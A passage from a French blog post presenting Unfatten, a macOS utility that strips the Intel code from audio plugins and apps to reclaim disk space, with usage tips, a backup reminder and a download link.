L’utilisation est ultra simple, vous sélectionnez les dossiers contenant vos apps et plugins, vous choisissez les formats à scanner (AAX, VST, VST3, AU), et vous lancez le scan. L’outil propose un mode simulation qui permet de voir exactement combien d’espace vous allez récupérer sans rien toucher et une fois que vous avez vu les chiffres (et croyez-moi, ils font mal), vous pouvez lancer le nettoyage réel !

Pensez quand même à faire un backup de vos plugins avant car on n’est jamais trop prudent avec ses plugins audio à 200 euros pièce qu’on ne peut pas toujours re-télécharger facilement. Après pour les apps, c’est moins critique, suffit de la réinstaller.

Pensez aussi à repasser un petit coup de Unfatten après d’éventuelles mises à jours des apps ou des plugins.

D’ailleurs, j’sais pas si vous savez mais macOS 26 Tahoe est la dernière version à supporter du x64 avec Rosetta 2, qui permet de faire tourner les apps Intel sur Apple Silicon.

Voilà, l’outil est disponible ici sur avelio.tech/unfatten et si au premier lancement, vous avez un avertissement de sécurité, passez par Sentinel pour le débloquer.

Merci à Lorenper pour l’info !

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